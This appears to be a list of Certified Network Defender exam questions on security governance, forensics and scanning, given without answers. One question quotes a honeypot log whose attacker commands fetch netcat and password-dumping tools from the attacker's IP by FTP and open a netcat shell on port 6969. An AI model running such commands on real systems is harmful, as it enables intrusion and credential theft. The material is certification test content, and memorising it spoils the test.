Exam 2: Certified Network Defender

The FIRST step in establishing a security governance program is to?

Creating a secondary authentication process for network access would be an example of?

To preserve digital evidence, an investigator should ____________________.

Who in the organization determines access to information?

The regular review of a firewall ruleset is considered a _______________________.

This is original file structure database that Microsoft originally designed for floppy disks. It is written to the outermost track of a disk and contains information about each file stored on the drive.

An organization has implemented a change management process for all changes to the IT production environment. This change management process follows best practices and is expected to help stabilize the availability and integrity of the organization's IT environment. Which of the following can be used to measure the effectiveness of this newly implemented process?

Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

What is the term describing the act of inspecting all real-time Internet traffic (i.e., packets) traversing a major Internet backbone without introducing any apparent latency?

Human resource planning for security professionals in your organization is a:

Information security policies should be reviewed _____________________.

At which point should the identity access management team be notified of the termination of an employee?

When performing a forensics analysis, what device is used to prevent the system from recording data on an evidence disk?

George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan. Why would a scanner like Nessus is not recommended in this situation?

The patching and monitoring of systems on a consistent schedule is required by?

Access Control lists (ACLs), Firewalls, and Intrusion Prevention Systems are examples of________________.

Why are Linux/Unix based computers better to use than Windows computers for idle scanning?

Which of the following activities is the MAIN purpose of the risk assessment process?

Control Objectives for Information and Related Technology (COBIT) is which of the following?